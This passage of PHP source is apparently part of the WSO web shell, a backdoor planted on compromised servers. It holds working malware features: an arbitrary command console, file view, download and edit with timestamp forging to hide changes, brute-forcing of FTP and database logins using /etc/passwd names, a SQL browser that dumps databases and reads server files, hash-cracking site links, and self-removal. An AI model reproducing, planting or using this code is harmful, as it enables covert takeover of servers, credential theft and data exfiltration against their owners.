to HEX'=>'ascii2hex','HEX to ASCII'=>'hex2ascii','HEX to DEC'=>'hexdec','HEX to BIN'=>'hex2bin','DEC to HEX'=>'dechex','DEC to BIN'=>'decbin','BIN to HEX'=>'binhex','BIN to DEC'=>'bindec','String to lower case'=>'strtolower','String to upper case'=>'strtoupper','Htmlspecialchars'=>'htmlspecialchars','String length'=>'strlen',);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();if(in_array($_POST['p1'],$stringTools))echo$_POST['p1']($_POST['p2']);$temp="document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',0);wsoHeader();echo'<h1>String conversions</h1><div class=content>';echo"<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";foreach($stringTools as$k=>$v)echo"<option value='".htmlspecialchars($v)."'>".$k."</option>";echo"</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";if(!empty($_POST['p1'])){if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));}echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='".htmlspecialchars($GLOBALS['cwd'])."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";function wsoRecursiveGlob($path){if(substr($path,-1)!='/')$path.='/';$paths=@array_unique(@array_merge(@glob($path.$_POST['p3']),@glob($path.'*',GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as$item){if(@is_dir($item)){if($path!=$item)wsoRecursiveGlob($item);}else{if(empty($_POST['p2'])||@strpos(file_get_contents($item),$_POST['p2'])!==false)echo"<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";}}}}if(@$_POST['p3'])wsoRecursiveGlob($_POST['c']);echo"</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";wsoFooter();}function actionFilesTools(){if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);if(@$_POST['p2']=='download'){$time=@filemtime($_SERVER['SCRIPT_FILENAME']);$timedir=@filemtime(dirname($_SERVER['SCRIPT_FILENAME']));if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=".basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: ".$type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST['p1'],"r");if($fp){while(!@feof($fp))echo @fread($fp,1024);fclose($fp);}}@touch($_POST['p1'],$time,$time);@touch(dirname($_SERVER['SCRIPT_FILENAME']),$timedir,$timedir);exit;}if(@$_POST['p2']=='mkfile'){if(!file_exists($_POST['p1'])){$time=@filemtime($_SERVER['SCRIPT_FILENAME']);$timedir=@filemtime(dirname($_SERVER['SCRIPT_FILENAME']));$fp=@fopen($_POST['p1'],'w');if($fp){$_POST['p2']="edit";fclose($fp);}@touch($_POST['p1'],$time,$time);@touch(dirname($_SERVER['SCRIPT_FILENAME']),$timedir,$timedir);}}wsoHeader();echo'<h1>File tools</h1><div class=content>';if(!file_exists(@$_POST['p1'])){echo'File not exists';wsoFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));echo'<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';echo'<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';if(empty($_POST['p2']))$_POST['p2']='view';if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');else $m=array('Chmod','Rename','Touch');foreach($m as$v)echo'<a href=# onclick="g(null,null,\''.urlencode($_POST['p1']).'\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';echo'<br><br>';switch($_POST['p2']){case 'view':echo'<pre class=ml1>';$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024),ENT_QUOTES,'windows-1251');@fclose($fp);}@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);echo'</pre>';break;case 'highlight':if(@is_readable($_POST['p1'])){$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));echo'<div class=ml1 style="background-color: #e1e1e1;color:black;">';$code=@highlight_file($_POST['p1'],true);echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code).'</div>';@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);}break;case 'chmod':if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])-1;$i>=0;--$i)$perms+=(int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));if(!@chmod($_POST['p1'],$perms))echo'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);}clearstatcache();echo'<script>p3_="";</script><form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o',fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';break;case 'edit':$time=@filemtime($_POST['p1'])+1;$timedir=@filemtime(dirname($_POST['p1']))+1;if(!is_writable($_POST['p1'])){echo'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$_POST['p3']=substr($_POST['p3'],1);$fp=@fopen($_POST['p1'],"w");if($fp){@fwrite($fp,$_POST['p3']);@fclose($fp);echo'Saved!<br><script>p3_="";</script>';}}echo'<form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024),ENT_QUOTES,'windows-1251');@fclose($fp);}@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);echo'</textarea><input type=submit value=">>"></form>';break;case 'hexdump':$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));$c=@file_get_contents($_POST['p1']);@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);$n=0;$h=array('00000000<br>','','');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].=sprintf('%02X',ord($c[$i])).' ';switch(ord($c[$i])):case 0:$h[2].=' ';break;case 9:$h[2].=' ';break;case 10:$h[2].=' ';break;case 13:$h[2].=' ';break;default:$h[2].=$c[$i];break;endswitch;$n++;if($n==32){$n=0;if($i+1<$len){$h[0].=sprintf('%08X',$i+1).'<br>';}$h[1].='<br>';$h[2].="
";}}echo'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';break;case 'rename':if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));$timedir2=@filemtime($_POST['c']);if(!@rename($_POST['p1'],$_POST['p3'])){echo'Can\'t rename!<br>';}else{@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);@touch($_POST['p3'],$time,$time);@touch(dirname($_POST['p3']),$timedir,$timedir);@touch($_POST['c'],$timedir2,$timedir2);die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');}}echo'<form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';break;case 'touch':if(!empty($_POST['p3'])){$timedir=@filemtime(dirname($_POST['p1']));$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'],$time,$time))echo'Fail!';else echo'Touched!';}else echo'Bad time format!';@touch(dirname($_POST['p1']),$timedir,$timedir);}clearstatcache();echo'<script>p3_="";</script><form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s",@filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';break;}echo'</div>';wsoFooter();}function actionConsole(){if(!empty($_POST['p1'])&&!empty($_POST['p2'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out',true);$_POST['p1'].=' 2>&1';}elseif(!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out',0);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();echo"d.cf.cmd.value='';
";$temp=@iconv($_POST['charset'],'UTF-8',addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo"c_='".$GLOBALS['cwd']."';";}}echo"d.cf.output.value+='".$temp."';";echo"d.cf.output.scrollTop = d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',0);wsoHeader();echo"<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";echo'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';foreach($GLOBALS['aliases'] as$n=>$v){if($v==''){echo'<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';continue;}echo'<option value="'.htmlspecialchars($v).'">'.$n.'</option>';}echo'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';if(!empty($_POST['p1'])){echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));}echo'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';echo'</form></div><script>d.cf.cmd.focus();</script>';wsoFooter();}function actionLogout(){setcookie(md5($_SERVER['HTTP_HOST']),'',time()-3600);die('bye!');}function actionSelfRemove(){if($_POST['p1']=='yes')if(@unlink(preg_replace('!\(\d+\)\s.*!','',__FILE__)))die('Shell has been removed');else echo'unlink error!';if($_POST['p1']!='yes')wsoHeader();echo'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';wsoFooter();}function actionSelfTouch(){wsoHeader();$all_f=wsoScandir($GLOBALS['cwd']);unset($all_f[array_search(basename(__FILE__),$all_f)]);echo'<h1>Touch like</h1><div class=content>';echo'<form name=f_touch method=post>';echo'<pre><label><input type=checkbox name=tparent id=tparent><span style="margin-left: 3px;">Touch shell\'s directory</span></label></pre>';echo"<pre><input onclick=\"g('SelfTouch',null,f_touch.timestamp.value,document.getElementById('tparent').checked)\" type=button value='Touch!'></pre>";if($_POST['p1']){if(@touch(__FILE__,$_POST['p1'],$_POST['p1'])){echo('<p>Shell has been touched</p>');if($_POST['p2']=='true'){@touch(dirname(__FILE__),$_POST['p1'],$_POST['p1']);echo('<p>Shell\'s directory has been touched</p>');}}else{echo'<h1>Touch</h1><div class=content>Touch error!</div>';}}foreach($all_f as$some_f){$some_f_t=filectime($some_f);echo"<pre><label><input type=radio name='timestamp' value='".$some_f_t."'> ".'<b>'.$some_f.'</b>'.' - '.date("F d Y H:i:s.",filectime($some_f))."</label></pre>";}echo'</form>';echo'</div>';wsoFooter();}function actionBruteforce(){wsoHeader();if(isset($_POST['proto'])){echo'<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';if($_POST['proto']=='ftp'){function wsoBruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return$res;}}elseif($_POST['proto']=='mysql'){function wsoBruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip.':'.($port?$port:3306),$login,$pass);@mysql_close($res);return$res;}}elseif($_POST['proto']=='pgsql'){function wsoBruteForce($ip,$port,$login,$pass){$str="host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return$res;}}$success=0;$attempts=0;$server=explode(":",$_POST['server']);if($_POST['type']==1){$temp=@file('/etc/passwd');if(is_array($temp))foreach($temp as$line){$line=explode(":",$line);++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';}if(@$_POST['reverse']){$tmp="";for($i=strlen($line[0])-1;$i>=0;--$i)$tmp.=$line[0][$i];++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);}}}}elseif($_POST['type']==2){$temp=@file($_POST['dict']);if(is_array($temp))foreach($temp as$line){$line=trim($line);++$attempts;if(wsoBruteForce($server[0],@$server[1],$_POST['login'],$line)){$success++;echo'<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';}}}echo"<span>Attempts:</span> ".$attempts." <span>Success:</span> ".$success."</div><br>";}echo'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'.'<span>Server:port</span></td>'.'<td><input type=text name=server value="127.0.0.1"></td></tr>'.'<tr><td><span>Brute type</span></td>'.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'.'<td><input type=text name=login value="root"></td></tr>'.'<tr><td><span>Dictionary</span></td>'.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';echo'</div><br>';wsoFooter();}function actionSql(){class DbClass{public$type;public$link;public$res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case 'mysql':if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case 'pgsql':$host=explode(':',$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host=".$host[0]." port=".$host[1]." user=".$user." password=".$pass." dbname=".$dbname))return true;break;}return false;}function selectdb($db){switch($this->type){case 'mysql':if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case 'mysql':return$this->res=@mysql_query($str);break;case 'pgsql':return$this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case 'mysql':return @mysql_fetch_assoc($res);break;case 'pgsql':return @pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case 'mysql':return$this->query("SHOW databases");break;case 'pgsql':return$this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case 'mysql':return$this->res=$this->query('SHOW TABLES');break;case 'pgsql':return$this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case 'mysql':return @mysql_error();break;case 'pgsql':return @pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case 'mysql':if(function_exists('mysql_set_charset'))return @mysql_set_charset($str,$this->link);else $this->query('SET CHARSET '.$str);break;case 'pgsql':return @pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case 'mysql':return$this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));break;case 'pgsql':$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");$r=array();while($i=$this->fetch())$r[]=$i['file'];$this->query('drop table wso2');return array('file'=>implode("
",$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case 'mysql':$res=$this->query('SHOW CREATE TABLE `'.$table.'`');$create=mysql_fetch_array($res);$sql=$create[1].";
";if($fp)fwrite($fp,$sql);else echo($sql);$this->query('SELECT * FROM `'.$table.'`');$i=0;$head=true;while($item=$this->fetch()){$sql='';if($i%1000==0){$head=true;$sql=";
";}$columns=array();foreach($item as$k=>$v){if($v===null)$item[$k]="NULL";elseif(is_int($v))$item[$k]=$v;else $item[$k]="'".@mysql_real_escape_string($v)."'";$columns[]="`".$k."`";}if($head){$sql.='INSERT INTO `'.$table.'` ('.implode(", ",$columns).") VALUES
(".implode(", ",$item).')';$head=false;}else $sql.="
,(".implode(", ",$item).')';if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,";
");else echo(";
");break;case 'pgsql':$this->query('SELECT * FROM '.$table);while($item=$this->fetch()){$columns=array();foreach($item as$k=>$v){$item[$k]="'".addslashes($v)."'";$columns[]=$k;}$sql='INSERT INTO '.$table.' ('.implode(", ",$columns).') VALUES ('.implode(", ",$item).');'."
";if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST['type']);if((@$_POST['p2']=='download')&&(@$_POST['p1']!='select')){$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);$db->selectdb($_POST['sql_base']);switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}if(empty($_POST['file'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST['tbl'] as$v)$db->dump($v);exit;}elseif($fp=@fopen($_POST['file'],'w')){foreach($_POST['tbl'] as$v)$db->dump($v,$fp);fclose($fp);unset($_POST['p2']);}else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');}wsoHeader();echo"
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<td><select name='type'><option value='mysql' ";if(@$_POST['type']=='mysql')echo'selected';echo">MySql</option><option value='pgsql' ";if(@$_POST['type']=='pgsql')echo'selected';echo">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"".(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']))."\"></td>
<td><input type=text name=sql_login value=\"".(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']))."\"></td>
<td><input type=text name=sql_pass value=\"".(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']))."\"></td><td>";$tmp="<input type=text name=sql_base value=''>";if(isset($_POST['sql_host'])){if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])){switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}$db->listDbs();echo"<select name=sql_base><option value=''></option>";while($item=$db->fetch()){list($key,$value)=each($item);echo'<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';}echo'</select>';}else echo$tmp;}else echo$tmp;echo"</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'".(empty($_POST['sql_count'])?'':' checked')."> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";if(isset($db)&&$db->link){echo"<br/><table width=100% cellpadding=2 cellspacing=0>";if(!empty($_POST['sql_base'])){$db->selectdb($_POST['sql_base']);echo"<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";$tbls_res=$db->listTables();while($item=$db->fetch($tbls_res)){list($key,$value)=each($item);if(!empty($_POST['sql_count']))$n=$db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));$value=htmlspecialchars($value);echo"<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>".(empty($_POST['sql_count'])?' ':" <small>(".$n['n'].")</small>")."</nobr><br>";}echo"<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";if(@$_POST['p1']=='select'){$_POST['p1']='query';$_POST['p3']=$_POST['p3']?$_POST['p3']:1;$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2']);$num=$db->fetch();$pages=ceil($num['n']/30);echo"<script>d.sf.onsubmit=function(){st(\"".$_POST['p2']."\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> (".$num['n']." records) Page # <input type=text name='p3' value=".((int)$_POST['p3']).">";echo" of ".$pages;if($_POST['p3']>1)echo" <a href=# onclick='st(\"".$_POST['p2'].'", '.($_POST['p3']-1).")'>< Prev</a>";if($_POST['p3']<$pages)echo" <a href=# onclick='st(\"".$_POST['p2'].'", '.($_POST['p3']+1).")'>Next ></a>";$_POST['p3']--;if($_POST['type']=='pgsql')$_POST['p2']='SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);else $_POST['p2']='SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';echo"<br><br>";}if((@$_POST['p1']=='query')&&!empty($_POST['p2'])){$db->query(@$_POST['p2']);if($db->res!==false){$title=false;echo'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';$line=1;while($item=$db->fetch()){if(!$title){echo'<tr>';foreach($item as$key=>$value)echo'<th>'.$key.'</th>';reset($item);$title=true;echo'</tr><tr>';$line=2;}echo'<tr class="l'.$line.'">';$line=$line==1?2:1;foreach($item as$key=>$value){if($value==null)echo'<td><i>null</i></td>';else echo'<td>'.nl2br(htmlspecialchars($value)).'</td>';}echo'</tr>';}echo'</table>';}else{echo'<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';}}echo"<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";if(!empty($_POST['p2'])&&($_POST['p1']!='loadfile'))echo htmlspecialchars($_POST['p2']);echo"</textarea><br/><input type=submit value='Execute'>";echo"</td></tr>";}echo"</table></form><br/>";if($_POST['type']=='mysql'){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");if($db->fetch())echo"<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";}if(@$_POST['p1']=='loadfile'){$file=$db->loadFile($_POST['p2']);echo'<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';}}else{echo htmlspecialchars($db->error());}echo'</div>';wsoFooter();}function 